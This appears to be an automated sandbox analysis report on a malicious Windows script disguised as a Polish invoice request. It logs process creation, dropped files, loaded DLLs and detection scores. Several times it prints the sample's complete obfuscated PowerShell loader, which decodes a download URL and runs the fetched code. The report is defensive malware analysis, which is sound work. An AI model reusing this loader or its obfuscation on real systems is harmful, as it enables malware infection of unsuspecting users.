'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD346F4C28		5_2_00007FFD346F4C28
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD347C5DFE		5_2_00007FFD347C5DFE

Source: Wniosek o numer faktury.wsf

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 9147
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 9147			Jump to behavior

Source: classification engine

Classification label: mal96.troj.expl.evad.winWSF@9/3@2/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Kassestrimmelens.Aft

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3604:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_did32yk0.pdw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Wniosek o numer faktury.wsf	ReversingLabs: Detection: 23%
Source: Wniosek o numer faktury.wsf	Virustotal: Detection: 19%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Wniosek o numer faktury.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ystem.pdb source: powershell.exe, 00000005.00000002.4643691298.0000015DED898000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000005.00000002.4646772637.0000015DEFA73000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbtem.pdb source: powershell.exe, 00000005.00000002.4643691298.0000015DED898000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb95f source: powershell.exe, 00000005.00000002.4646772637.0000015DEFA40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdb source: powershell.exe, 00000005.00000002.4646772637.0000015DEFAAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb!1 source: powershell.exe, 00000005.00000002.4646772637.0000015DEFA40000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspira", "0")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34961CE4 push esp; retf		5_2_00007FFD34961D09
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD349636A5 push ebx; ret		5_2_00007FFD349636A6

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
